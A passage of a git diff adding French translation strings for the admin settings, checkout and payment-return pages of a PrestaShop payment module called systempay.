+$_MODULE['<{systempay}default>systempayadmindisplay_b1c1d84a65180d5912b2dee38a48d6b5'] = 'Version du module'; +$_MODULE['<{systempay}default>systempayadmindisplay_666809109472d77b71fc9930436c7ff1'] = 'Version de la plateforme'; +$_MODULE['<{systempay}default>systempayadmindisplay_66b5f3034a6f89c316df97eab1ec5663'] = 'Testé avec Prestashop'; +$_MODULE['<{systempay}default>systempayadmindisplay_dd98664034d01e01eba03dd5653f9cc3'] = 'CLIQUER ICI POUR ACCÉDER À LA DOCUMENTATION DE CONFIGURATION DU MODULE'; +$_MODULE['<{systempay}default>systempayadmindisplay_65a1f435f6f81dfe69dcdfc716f72649'] = 'PARAMÈTRES DE BASE'; +$_MODULE['<{systempay}default>systempayadmindisplay_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{systempay}default>systempayadmindisplay_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{systempay}default>systempayadmindisplay_b2d37ae1cedf42ff874289b721860af2'] = 'Logs'; +$_MODULE['<{systempay}default>systempayadmindisplay_ff9b0dd6daa6ef52ec2504bd7c243c74'] = 'Activer / désactiver les logs du module'; +$_MODULE['<{systempay}default>systempayadmindisplay_dfef29864f6f6dcd9dd673f3343221de'] = 'ACCÈS À LA PLATEFORME'; +$_MODULE['<{systempay}default>systempayadmindisplay_eff08814984e50d7991932fe8bf15991'] = 'Identifiant de votre site'; +$_MODULE['<{systempay}default>systempayadmindisplay_049701ca27fd91a0370ff4c41a5dd3f1'] = 'L\'identifiant de votre site, disponible dans le back-office de votre boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_5abbd73fc5189212c57adfb43adac459'] = 'Certificat en mode test'; +$_MODULE['<{systempay}default>systempayadmindisplay_51cc994ce3933ec14767f203e5fd6510'] = 'Certificat fourni par la plateforme de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_8d79d82e7b1b6174ac9a55a760d64edc'] = 'Certificat en mode production'; +$_MODULE['<{systempay}default>systempayadmindisplay_033bd94b1168d7e4f0d644c3c95e35bf'] = 'TEST'; +$_MODULE['<{systempay}default>systempayadmindisplay_86601675138015edb458866e7d879118'] = 'PRODUCTION'; +$_MODULE['<{systempay}default>systempayadmindisplay_650be61892bf690026089544abbd9d26'] = 'Mode'; +$_MODULE['<{systempay}default>systempayadmindisplay_7052d0a2a8ddfd85c7acf46354389a9e'] = 'Mode de fonctionnement du module'; +$_MODULE['<{systempay}default>systempayadmindisplay_21dbac9461f8ec4ca19d3fe3907a1776'] = 'URL de la plateforme'; +$_MODULE['<{systempay}default>systempayadmindisplay_4d3fe987b854c00669876f09e814dda8'] = 'Le client sera redirigé à cette adresse pour payer'; +$_MODULE['<{systempay}default>systempayadmindisplay_d735e44539f64ded159789010b4931b2'] = 'URL serveur à copier dans le back-office de votre boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_e0872477664fd58da4b5fe1c2aa6a453'] = 'Sélectionner une boutique pour afficher l\'URL serveur'; +$_MODULE['<{systempay}default>systempayadmindisplay_178ab52ae45ca10afab67d9f2a91c70c'] = 'PAGE DE PAIEMENT'; +$_MODULE['<{systempay}default>systempayadmindisplay_c96a77fb323a41898c3b6941a58dc741'] = 'Langue par défaut'; +$_MODULE['<{systempay}default>systempayadmindisplay_e27b4ff6694b9ba58627fee38486a7f6'] = 'Langue par défaut de la page de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_4e1b0d5f96251571c00165c066b7c550'] = 'Langues disponibles'; +$_MODULE['<{systempay}default>systempayadmindisplay_821467b11b6317263a4fc216af7112b8'] = 'Ne rien sélectionner pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}default>systempayadmindisplay_8f497c1a3d15af9e0c215019f26b887d'] = 'Délai'; +$_MODULE['<{systempay}default>systempayadmindisplay_123fc485e1ced719eed781646ffe2650'] = 'Délai avant remise en banque (en jours)'; +$_MODULE['<{systempay}default>systempayadmindisplay_941b264af0fd3d55827b0871b45039b2'] = 'Configuration back-office'; +$_MODULE['<{systempay}default>systempayadmindisplay_086247a9b57fde6eefee2a0c4752242d'] = 'Automatique'; +$_MODULE['<{systempay}default>systempayadmindisplay_e1ba155a9f2e8c3be94020eef32a0301'] = 'Manuelle'; +$_MODULE['<{systempay}default>systempayadmindisplay_31c46d040ddbf15207ebd7b78af8c45d'] = 'Validation du paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_f567c8fc35869581ef8f47eb37154bb1'] = 'En mode manuel, vous devrez confirmer les paiements dans votre back-office'; +$_MODULE['<{systempay}default>systempayadmindisplay_b0c3cae935975999a5f8ca3062969346'] = 'Cartes disponibles'; +$_MODULE['<{systempay}default>systempayadmindisplay_4131eb611f462538ec0a10abe8b9e724'] = 'Sélectionner les types de carte qui pourront être utilisés pour le paiement.'; +$_MODULE['<{systempay}default>systempayadmindisplay_9fe0bf30d35545b0688448c029e77fc2'] = 'PERSONNALISATION DE LA PAGE DE PAIEMENT'; +$_MODULE['<{systempay}default>systempayadmindisplay_e140e06995cf99c43970ef378e12b029'] = 'Configuration du thème'; +$_MODULE['<{systempay}default>systempayadmindisplay_5d27e396e9687029d9c9b13c08c79343'] = 'Configuration du thème pour personnaliser la page de paiement (logo, CSS).'; +$_MODULE['<{systempay}default>systempayadmindisplay_e93c33bd1341ab74195430daeb63db13'] = 'Nom de la boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_92e5b9360dff0d8fa8a7762359257fe7'] = 'Nom affiché sur la page de paiement. Laisser vide pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}default>systempayadmindisplay_37d00f4554dc3c0baeb34a9c22d787d9'] = 'URL de la boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_21235deb899b707b33cf99f6e8c810dc'] = 'URL affichée sur la page de paiement. Laisser vide pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}default>systempayadmindisplay_bf261894e1e1e3e798d4b636696e6662'] = '3DS SÉLECTIF'; +$_MODULE['<{systempay}default>systempayadmindisplay_920e5afd43a2aefa56e7b336fe49c5d4'] = 'Montant minimum pour lequel activer 3DS'; +$_MODULE['<{systempay}default>systempayadmindisplay_459ddd0a40e906c48c32cd32a0cbd9ed'] = 'Nécessite la souscription à l’option 3-D Secure sélectif.'; +$_MODULE['<{systempay}default>systempayadmindisplay_8e0b19a82842dddd5b4bbf435017d611'] = 'RETOUR À LA BOUTIQUE'; +$_MODULE['<{systempay}default>systempayadmindisplay_aadb7680e9cf237017cd8b67f6c73260'] = 'Redirection automatique'; +$_MODULE['<{systempay}default>systempayadmindisplay_2051113e1d11164763db9463db4f3f78'] = 'Rediriger le client vers la boutique à la fin du processus de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_e5e1991ad7aaf9fe6464c969920f097a'] = 'Délai en cas de succès'; +$_MODULE['<{systempay}default>systempayadmindisplay_46ac211030d7d389966175ae9fd711f4'] = 'Temps en secondes avant que le client soit redirigé vers la boutique après un paiement réussi'; +$_MODULE['<{systempay}default>systempayadmindisplay_eb348dd0d56400bd18e7c9e8d25cc666'] = 'Message avant redirection en cas de succès'; +$_MODULE['<{systempay}default>systempayadmindisplay_c739fa67a340c76b8bac9281b456ca3e'] = 'Message affiché au client avant qu\'il soit redirigé vers la boutique après un paiement réussi'; +$_MODULE['<{systempay}default>systempayadmindisplay_927bb2451d920fdba0ab0823fa7bae6d'] = 'Délai en cas d\'échec'; +$_MODULE['<{systempay}default>systempayadmindisplay_78d4bee1d6875f229d4e4320a6abf10e'] = 'Temps en secondes avant que le client soit redirigé vers la boutique après l\'échec du paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_00b7bcd80d9c9f19186b0c729f6085c4'] = 'Message avant redirection en cas d\'échec'; +$_MODULE['<{systempay}default>systempayadmindisplay_a4e63e0b942643e02daa5d2d3df9a814'] = 'Message affiché au client avant qu\'il soit redirigé vers la boutique après l\'échec du paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_a310223d5085f1c22218a24bc33b4e5d'] = 'GET (paramètres dans l\'URL)'; +$_MODULE['<{systempay}default>systempayadmindisplay_13b89b1404ec947deeb347c8e3901f9b'] = 'POST (formulaire)'; +$_MODULE['<{systempay}default>systempayadmindisplay_5c6a16d0f0782adac84a09b281878e84'] = 'Mode de retour'; +$_MODULE['<{systempay}default>systempayadmindisplay_369a63dd2214318d4b7107a0b74cc81f'] = 'Façon dont le client transmettra le résultat du paiement lors de son retour sur la boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_4dcaea1b2d8f025a39f1dec679a6186e'] = 'Retourner au choix du moyen de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_4d48c7d2809edea0b654f236d9695943'] = 'Enregistrer la commande échouée et retourner à l\'historique'; +$_MODULE['<{systempay}default>systempayadmindisplay_0922629c59c5f69e205a4c831f819794'] = 'Gestion des paiements échoués'; +$_MODULE['<{systempay}default>systempayadmindisplay_2ec6d9d74ab7d1ef252b9c514c1f0ec8'] = 'Comment traiter le retour du client après que le paiement ait échoué'; +$_MODULE['<{systempay}default>systempayadmindisplay_50aeba62672dfa15fed779c0248653cb'] = 'Paramètres GET additionnels'; +$_MODULE['<{systempay}default>systempayadmindisplay_c6c2cd91778ce3c566b06c1632ccde1e'] = 'Paramètres supplémentaires envoyés au retour en mode GET'; +$_MODULE['<{systempay}default>systempayadmindisplay_9fe7d4433879f84a21f1a9b47c792550'] = 'Paramètres POST additionnels'; +$_MODULE['<{systempay}default>systempayadmindisplay_1a01ef92951bf4fcc5cc02ec502e3e0d'] = 'Paramètres supplémentaires envoyés au retour en mode POST'; +$_MODULE['<{systempay}default>systempayadmindisplay_9d6b881a4d17ea44c0f9786f6a5e9c7f'] = 'OPTIONS DU MODULE'; +$_MODULE['<{systempay}default>systempayadmindisplay_f634a4ce61dbccff9374360fd995aaed'] = 'Titre de la méthode'; +$_MODULE['<{systempay}default>systempayadmindisplay_16a00c2b3807b01ce5730590198ff5db'] = 'Titre de la méthode à afficher sur la page des moyens de paiement.'; +$_MODULE['<{systempay}default>systempayadmindisplay_a9a62e70841c4d06dd16306a85700d36'] = 'Activation'; +$_MODULE['<{systempay}default>systempayadmindisplay_6816faa7d62a7c62b89c203b7317b08d'] = 'Sélectionner pour activer le paiement standard.'; +$_MODULE['<{systempay}default>systempayadmindisplay_bf050a33e991ac51cda468deccbb0692'] = 'RESTRICTIONS SUR LE MONTANT'; +$_MODULE['<{systempay}default>systempayadmindisplay_9f6e99bdd4184b83dc478d0ab1b4cbf7'] = 'Montant minimum'; +$_MODULE['<{systempay}default>systempayadmindisplay_fc1bc2d581a104d6e77e51cf38811b63'] = 'Montant minimum pour lequel cette méthode de paiement est disponible'; +$_MODULE['<{systempay}default>systempayadmindisplay_dcd700acd4c6727dca97f5b414cfb384'] = 'Montant maximum'; +$_MODULE['<{systempay}default>systempayadmindisplay_7b594176bb47ad19739bc60a8d5f969b'] = 'Montant maximum pour lequel cette méthode de paiement est disponible'; +$_MODULE['<{systempay}default>systempayadmindisplay_8e59fcba6a5225abb4717cd0a017dae5'] = 'ENTRÉE DES DONNÉES DE CARTE'; +$_MODULE['<{systempay}default>systempayadmindisplay_861cde4a15ea3a39126fbfb3571326fd'] = 'Acquisition des données sur la plateforme de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_e055e426fa40b587d4b3e238f33a6e38'] = 'Sélection du type de carte sur le site marchand'; +$_MODULE['<{systempay}default>systempayadmindisplay_30728a5a5aa3054af1db3fc6407bf20e'] = 'Acquisition des données sur le site marchand'; +$_MODULE['<{systempay}default>systempayadmindisplay_c239a367447ad7b1ae922a8e017f033d'] = 'Mode de saisie des données de la carte'; +$_MODULE['<{systempay}default>systempayadmindisplay_4bb7fc1c6f2c9cb09369c8e1892b5024'] = 'Sélectionner la manière dont seront saisies les données de la carte de crédit. Attention, pour utiliser l\'acquisition des données sur le site marchand, vous devez vous assurer d\'avoir souscrit à cette option auprès de votre banque.'; +$_MODULE['<{systempay}default>systempayadmindisplay_4423e7890e7296a9f535ce199d4d015e'] = 'Sélectionner pour activer le paiement multiple'; +$_MODULE['<{systempay}default>systempayadmindisplay_ce4d7de3b7a9c4d597d882898a14dcc5'] = 'OPTIONS DU PAIEMENT MULTIPLE'; +$_MODULE['<{systempay}default>systempayadmindisplay_e3135e5c28bd4c70a9bb3c50b0d278aa'] = 'Options de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_ec211f7c20af43e742bf2570c3cb84f9'] = 'Ajouter'; +$_MODULE['<{systempay}default>systempayadmindisplay_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{systempay}default>systempayadmindisplay_b021df6aac4654c454f46c77646e745f'] = 'Libellé'; +$_MODULE['<{systempay}default>systempayadmindisplay_80a2645c681d607705f5baab7cf7d2cb'] = 'Montant min'; +$_MODULE['<{systempay}default>systempayadmindisplay_7d48ddaff550ef9e47ed788f50d860e7'] = 'Montant max'; +$_MODULE['<{systempay}default>systempayadmindisplay_f49498143b94e78415d06029763412b9'] = 'Contrat'; +$_MODULE['<{systempay}default>systempayadmindisplay_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Nombre'; +$_MODULE['<{systempay}default>systempayadmindisplay_1901606ea069a83dc7beea17881ef95a'] = 'Période'; +$_MODULE['<{systempay}default>systempayadmindisplay_5e6fab97b55b59a90290d851fb5fe929'] = '1er paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_b056d45a87280cf305ce0d0842478c5c'] = 'Cliquer sur le bouton Ajouter pour configurer une ou plusieurs options de paiement.'; +$_MODULE['<{systempay}default>systempayadmindisplay_bfad44649219843147084d62ba70bc79'] = 'Texte décrivant l\'option de paiement multiple.'; +$_MODULE['<{systempay}default>systempayadmindisplay_e922a8c9070a68a322e3dee8b87f0b62'] = 'Montant minimum pour proposer l\'option.'; +$_MODULE['<{systempay}default>systempayadmindisplay_59423ceb80faf63c4999208b598ca9fd'] = 'Montant maximum pour proposer l\'option.'; +$_MODULE['<{systempay}default>systempayadmindisplay_dc51d4d008b18d70eee856269de5e986'] = 'ID du contrat à utiliser avec l\'option (laissez vide de préférence).'; +$_MODULE['<{systempay}default>systempayadmindisplay_e9902c2d13eac5c51eeb3e4c3b72ee6d'] = 'Nombre total d\'échéances.'; +$_MODULE['<{systempay}default>systempayadmindisplay_0db6ef3684ba09860d46d0b46f097c51'] = 'Délai entre deux échéances (en jours).'; +$_MODULE['<{systempay}default>systempayadmindisplay_fb6f4e7d8e165952c58a9ec74bdd74cd'] = 'Montant de la première échéance en pourcentage du total. Si vide, toutes les échéances auront le même montant.'; +$_MODULE['<{systempay}default>systempayadmindisplay_c5ff1168424ff8eaa52a4234daee2e68'] = 'N\'oubliez pas de cliquer sur le bouton \"Enregistrer\" afin de sauvegarder vos modifications.'; +$_MODULE['<{systempay}default>systempayadmindisplay_28ef0ec84a6abddb4d894b93b047a8f7'] = 'Sélectionner pour activer le paiement FacilyPay Oney'; +$_MODULE['<{systempay}default>systempayadmindisplay_877c3919c058e9ca3e19286bed26cb35'] = 'Nécessite un contract FacilyPay Oney auprès de Banque Accord et la souscription à l\'option %s'; +$_MODULE['<{systempay}default>systempayadmindisplay_6e949302013414e958224c73334e8d99'] = 'OPTIONS DE LIVRAISON FACILYPAY ONEY'; +$_MODULE['<{systempay}default>systempayadmindisplay_eb3378ce39cddd81c9e7b011dcbf7196'] = 'Options de livraison'; +$_MODULE['<{systempay}default>systempayadmindisplay_2068f4dd0b1c5f2b86d1092d9301de7f'] = 'Compagnie de livraison'; +$_MODULE['<{systempay}default>systempayadmindisplay_507e465444cdd751dc7a539203c85f7c'] = 'Retrait en magasin'; +$_MODULE['<{systempay}default>systempayadmindisplay_b0efcf1ae8a6bff5debb5ed65de8f412'] = 'Point relais'; +$_MODULE['<{systempay}default>systempayadmindisplay_02da484e2730f20ccef65b94f903ea40'] = 'Retrait en station'; +$_MODULE['<{systempay}default>systempayadmindisplay_eb6d8ae6f20283755b339c0dc273988b'] = 'Standard'; +$_MODULE['<{systempay}default>systempayadmindisplay_b144fa061545497bebee8c414efc99a9'] = 'Express'; +$_MODULE['<{systempay}default>systempayadmindisplay_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{systempay}default>systempayadmindisplay_a1fa27779242b4902f7ae3bdd5c6d508'] = 'Type'; +$_MODULE['<{systempay}default>systempayadmindisplay_44877c6aa8e93fa5a91c9361211464fb'] = 'Vitesse'; +$_MODULE['<{systempay}default>systempayadmindisplay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}default>systempayadmindisplay_fc2e1b075d134671d7016188b8011d4e'] = 'Définir les informations FacilyPay Oney sur toutes les méthodes de livraison.'; +$_MODULE['<{systempay}default>systempayadmindisplay_f430542ef8d11a982a31141ddec5ef8e'] = 'Le libellé de la méthode de livraison.'; +$_MODULE['<{systempay}default>systempayadmindisplay_c2170582a67d7d0bc7636ad4d322443e'] = 'Le type de la méthode de livraison.'; +$_MODULE['<{systempay}default>systempayadmindisplay_361637f00a86ad3879342852b10281a2'] = 'Sélectionner si la livraison est en mode STANDARD ou EXPRESS.'; +$_MODULE['<{systempay}default>systempayadmindisplay_457542431996d9c44a8896330a1f0404'] = 'Entrer une adresse s\'il s\'agit d\'un retrait en magasin.'; +$_MODULE['<{systempay}default>systempayadmindisplay_22003906cd1030f32dd17f58b4049dfe'] = 'Alimentation et épicerie'; +$_MODULE['<{systempay}default>systempayadmindisplay_b88033354e42b423efaefbcc5649ddb9'] = 'Automobile'; +$_MODULE['<{systempay}default>systempayadmindisplay_336fdcf7d540e4b430a890b63da159c9'] = 'Loisirs'; +$_MODULE['<{systempay}default>systempayadmindisplay_ca5f6d15b151c54a4cbf6f231c540f39'] = 'Maison et jardin'; +$_MODULE['<{systempay}default>systempayadmindisplay_efd593bd9811ea0c1ed407b32f68d599'] = 'Electroménager'; +$_MODULE['<{systempay}default>systempayadmindisplay_87f83f78cf682b5606a8ea1544adccf0'] = 'Enchères et achats groupés'; +$_MODULE['<{systempay}default>systempayadmindisplay_e1bc3b4e930537de4707bb928c712a0c'] = 'Fleurs et cadeaux'; +$_MODULE['<{systempay}default>systempayadmindisplay_a382a28ebfd91e538e8f00c0cfd871d2'] = 'Informatique et logiciels'; +$_MODULE['<{systempay}default>systempayadmindisplay_2c0a2fa68bd358738766a1e7cb3aa917'] = 'Santé et beauté'; +$_MODULE['<{systempay}default>systempayadmindisplay_ab6a1358f4237ebc94e81384c1275592'] = 'Services à la personne'; +$_MODULE['<{systempay}default>systempayadmindisplay_6c437bccc40bb38ed269b3e163bb657c'] = 'Services aux entreprises'; +$_MODULE['<{systempay}default>systempayadmindisplay_918e180e06b96c76b7193c9fcb1cb312'] = 'Sports'; +$_MODULE['<{systempay}default>systempayadmindisplay_2e22a11f2216b183de96c2f8d5c2b0f3'] = 'Habillement et accessoires'; +$_MODULE['<{systempay}default>systempayadmindisplay_1fb0f99b55e6c2be35aed72ebe38c245'] = 'Voyages'; +$_MODULE['<{systempay}default>systempayadmindisplay_d0507391e83265a7255c1ab8597a750b'] = 'Audio, photo, vidéo domestiques'; +$_MODULE['<{systempay}default>systempayadmindisplay_7fa3b0ba6f1dd45ac564a12e16033358'] = 'Téléphonie'; +$_MODULE['<{systempay}default>systempayadmindisplay_a091bbd4496a57bbe07cbe9561818e48'] = 'Mapping des catégories'; +$_MODULE['<{systempay}default>systempayadmindisplay_eaa6efee1322e72edf57cb1ab2a1de39'] = 'Utiliser la même catégorie pour tous les produits'; +$_MODULE['<{systempay}default>systempayadmindisplay_3625cdf19abd4ec330b3db80a9d03c50'] = 'Catégorie du produit'; +$_MODULE['<{systempay}default>systempayadmindisplay_78888a976865d78a0c1845e05cc95a87'] = 'Catégorie FacilyPay Oney'; +$_MODULE['<{systempay}default>systempayadmindisplay_12ca1458e2bcfa83963744127377c77b'] = 'Sélectionner une catégorie pour tous les produits ou faire la correspondance entre chaque catégorie produit et une catégorie FacilyPay Oney.'; +$_MODULE['<{systempay}default>back_office_4a9cc7ddfd6e169a1b434d6839d91a7e'] = 'CONFIGURATION GÉNÉRALE'; +$_MODULE['<{systempay}default>back_office_7c579486ce2345a95aec18c4eb2584a9'] = 'PAIEMENT EN UNE FOIS'; +$_MODULE['<{systempay}default>back_office_a51ca50af2761900a8835ca9eef9e94e'] = 'PAIEMENT EN PLUSIEURS FOIS'; +$_MODULE['<{systempay}default>back_office_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{systempay}default>redirect_f1c1725dc182726512227aef9ee210c7'] = 'Paiement en cours'; +$_MODULE['<{systempay}default>redirect_31682b69de73c081c487b0cb5002549d'] = 'Redirection to payment gateway'; +$_MODULE['<{systempay}default>redirect_879f6b8877752685a966564d072f498f'] = 'Your shopping cart is empty.'; +$_MODULE['<{systempay}default>redirect_e555610477d1aa7807d93f28ba80141e'] = 'Payment by bank card'; +$_MODULE['<{systempay}default>redirect_67e5af82e0dca6b20203d71fd681814a'] = 'Veuillez patienter SVP. Le paiement de votre commande est en cours.'; +$_MODULE['<{systempay}default>redirect_ff1b91552dca022519140532b2b2ab82'] = 'Please wait, you will be redirected to the payment platform.'; +$_MODULE['<{systempay}default>redirect_255a72c22960b12c1fab325d80e0dd56'] = 'Si rien ne se passe dans 10 secondes, cliquez sur le bouton ci-dessous.'; +$_MODULE['<{systempay}default>redirect_99938b17c91170dfb0c2f3f8bc9f2a85'] = 'Pay'; +$_MODULE['<{systempay}default>payment_multi_cb82c86a648fa1d594b0681955bc9930'] = 'Sélectionnez une option de paiement puis cliquez sur le bouton «Payez maintenant»'; +$_MODULE['<{systempay}default>payment_multi_8bd4837a76cf443ab523a51895e23c36'] = 'Payez maintenant'; +$_MODULE['<{systempay}default>payment_oney_4803e7f3699700fce00b93f24e48d23d'] = 'Cliquez ici pour payer avec FacilyPay Oney'; +$_MODULE['<{systempay}default>payment_return_be6df635dcc7e523098a34e105376cee'] = 'La boutique est en mode maintenance. La validation automatique ne peut fonctionner.'; +$_MODULE['<{systempay}default>payment_return_93ec33bd6d2df2fd2c69cc83ef77ddee'] = 'La validation automatique n\'a pas fonctionné. Avez-vous configuré correctement l\'URL serveur dans le back-office de votre boutique ?'; +$_MODULE['<{systempay}default>payment_return_aed9aa264932d1a9f52d263956117993'] = 'Afin de comprendre la problématique, reportez vous à la documentation du module : '; +$_MODULE['<{systempay}default>payment_return_b6b31e5e082ae15d4942daa6b8ce78f0'] = 'Chapitre «A lire attentivement avant d\'aller loin»'; +$_MODULE['<{systempay}default>payment_return_8dce4920007239e5dce0eea948ddeee3'] = 'Chapitre «Paramétrage de l\'URL serveur»'; +$_MODULE['<{systempay}default>payment_return_18c51ad1b1fe562479120ab35f890fc9'] = 'Si vous pensez qu\'il s\'agit d\'une erreur, vous pouvez contacter notre'; +$_MODULE['<{systempay}default>payment_return_64430ad2835be8ad60c59e7d44e4b0b1'] = 'service client'; +$_MODULE['<{systempay}default>payment_return_73f642dd4a7e09c7570833f584f77263'] = 'PASSER EN PRODUCTION'; +$_MODULE['<{systempay}default>payment_return_fce9858aa1e2d1353476b18320719dc3'] = 'Vous souhaitez savoir comment passer votre boutique en production merci de consulter cette URL : '; +$_MODULE['<{systempay}default>payment_return_de24df15226a5139eb60c3b24c1efbd6'] = 'Your order has been registered with a payment error.'; +$_MODULE['<{systempay}default>payment_return_3fee1227f1b7e441476ccb45278a5f22'] = 'Please contact our'; +$_MODULE['<{systempay}default>payment_return_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Your order on'; +$_MODULE['<{systempay}default>payment_return_75fbf512d744977d62599cc3f0ae2bb4'] = 'is complete.'; +$_MODULE['<{systempay}default>payment_return_ee9d464a5f04b1c5f548d1655691ce82'] = 'We registered your payment of'; +$_MODULE['<{systempay}default>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'For any questions or for further information, please contact our'; +$_MODULE['<{systempay}default>payment_std_b1bdf76454f7e864d239b0c71ee97815'] = 'Cliquer ici pour payer par carte bancaire'; +$_MODULE['<{systempay}default>payment_std_d0a07bc7bd65a0b0286bfca021f8e280'] = 'Entrez les informations sur le paiement puis cliquez sur le bouton «Payez maintenant»'; +$_MODULE['<{systempay}default>payment_std_a44217022190f5734b2f72ba1e4f8a79'] = 'Numéro de carte'; +$_MODULE['<{systempay}default>payment_std_60a104dc50579d60cbc90158fada1dcf'] = 'CVV'; +$_MODULE['<{systempay}default>payment_std_8c1279db4db86553e4b9682f78cf500e'] = 'Date d\'expiration'; +$_MODULE['<{systempay}default>payment_std_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{systempay}default>payment_std_537c66b24ef5c83b7382cdc3f34885f2'] = 'Année'; +$_MODULE['<{systempay}default>payment_std_8bd4837a76cf443ab523a51895e23c36'] = 'Payez maintenant'; +$_MODULE['<{systempay}default>payment_return_cec014e29ebcbc5c5809907d4f1eeb5c'] = 'La validation automatique n\'a pas fonctionné. Avez-vous configuré correctement l\'URL serveur dans l\'outil de gestion de caisse de votre boutique ?'; +$_MODULE['<{systempay}default>payment_return_23e519f59208456254d9fb538d4e7abf'] = 'Afin de comprendre la problématique, reportez vous à la documentation du module :    - Chapitre «A lire attentivement avant d\'aller loin»   - Chapitre «Paramétrage de l\'URL serveur»'; +$_MODULE['<{systempay}default>payment_return_47e816a4f731d565fd5b32d458cc3d78'] = 'PASSER EN PRODUCTIONVous souhaitez savoir comment passer votre boutique en production merci de consulter cette URL : '; +$_MODULE['<{systempay}default>redirect_a40cab5994f36d4c48103a22ca082e8f'] = 'Your shopping cart'; +$_MODULE['<{systempay}default>redirect_4ac5858c2ddee9ac2370a6045860620e'] = 'If you are not redirected in 10 seconds, please click the button below.'; diff --git a/themes/default/modules/systempay/translations/fr.php b/themes/default/modules/systempay/translations/fr.php new file mode 100755 index 0000000..d59a964 --- /dev/null +++ b/themes/default/modules/systempay/translations/fr.php @@ -0,0 +1,221 @@ +systempay_2588246e9b8bb55cd587ed5595d3a7e2'] = 'Accepter les paiements par carte de crédit avec %s'; +$_MODULE['<{systempay}default>systempay_53c0eed255c798ec8fc9299e17f01317'] = 'Etes-vous sûr de bien vouloir supprimer les détails de votre module ?'; +$_MODULE['<{systempay}default>systempay_f38f5974cdc23279ffe6d203641a8bdf'] = 'Configuration mise à jour.'; +$_MODULE['<{systempay}default>systempay_c82760abe276149682e54af149d50163'] = 'Une ou plusieurs valeurs sont invalides pour le champ \"Options de paiement\". Seules les lignes valides sont sauvegardées.'; +$_MODULE['<{systempay}default>systempay_7721928ca91b808090c2e42e8ed087e9'] = 'Vous devez sélectionner au moins un type de carte.'; +$_MODULE['<{systempay}default>systempay_5416423d5ad1d720c85c23afd46239cd'] = 'Valeur invalide \"%s\" pour le champ \"%s\".'; +$_MODULE['<{systempay}default>systempay_b4bf0b891dd528b8bc6a0ceddfd5969b'] = 'L\'acquisition des données de la carte sur le site marchand ne peut pas être utilisée sans activer le SSL.'; +$_MODULE['<{systempay}default>systempay_21c8130b9b2e0a71ca25b5ff65a3b04c'] = 'Le champ \"%s\" est obligatoire.'; +$_MODULE['<{systempay}default>systempay_84d7948ab154d3076c9ed85adf140370'] = 'Un problème est survenu lors de l\'enregistrement du champ \"%s\".'; +$_MODULE['<{systempay}default>systempay_76cd29d10d79ba6370cda5c89ab0946b'] = 'L\'envoi multiple est activé. Le paiement Oney ne peut être activé.'; +$_MODULE['<{systempay}default>systempay_4c7fd4e78164fd8c7c942f71d800010b'] = 'Veuillez renseigner les montants minimum et maximum dans l\'onglet paiement FacilyPay Oney tel que convenu avec Banque Accord.'; +$_MODULE['<{systempay}default>systempay_051d3cd9d4ad38267207ab4121aadd66'] = 'Le champ \"%s\" de votre %s est invalide.'; +$_MODULE['<{systempay}default>systempay_3eeb49b3032fe4320879769af95d803d'] = 'Le champ \"%s\" de votre %s est obligatoire.'; +$_MODULE['<{systempay}default>systempay_8d3f5eff9c40ee315d452392bed5309b'] = 'Nom'; +$_MODULE['<{systempay}default>systempay_20db0bfeecd8fe60533206a2b5e9891a'] = 'Prénom'; +$_MODULE['<{systempay}default>systempay_bcc254b55c4a1babdf1dcb82c207506b'] = 'Téléphone'; +$_MODULE['<{systempay}default>systempay_f0e1fc6f97d36cb80f29196e2662ffde'] = 'Téléphone portable'; +$_MODULE['<{systempay}default>systempay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}default>systempay_22fcffe02ab9eda5b769387122f2ddce'] = 'Adresse(2)'; +$_MODULE['<{systempay}default>systempay_642d3ba5db8b57e006584b544e490ec7'] = 'Code postal'; +$_MODULE['<{systempay}default>systempay_57d056ed0984166336b7879c2af3657f'] = 'Ville'; +$_MODULE['<{systempay}default>systempay_59716c97497eb9694541f7c3d37b1a4d'] = 'Pays'; +$_MODULE['<{systempay}default>systempay_687ae6ebf50a06125319516eee9f5fdb'] = 'Votre paiement n\'a pas été accepté. Veuillez repasser votre commande.'; +$_MODULE['<{systempay}default>systempay_e555610477d1aa7807d93f28ba80141e'] = 'Paiement par carte bancaire'; +$_MODULE['<{systempay}default>systempay_796e204aef60da8e6a072431ec43ed2b'] = 'Paiement par carte bancaire en plusieurs fois'; +$_MODULE['<{systempay}default>systempay_ba23145ed5d391c93162698854dbee45'] = 'Paiement avec FacilyPay Oney'; +$_MODULE['<{systempay}default>systempay_13aa1c47157818ce4d54f337a17084af'] = 'Authentification 3DS : '; +$_MODULE['<{systempay}default>systempay_7469a286259799e5b37e5db9296f00b3'] = 'OUI'; +$_MODULE['<{systempay}default>systempay_68a065494f1612ae29b1cde04c936339'] = 'Certificat 3DS : '; 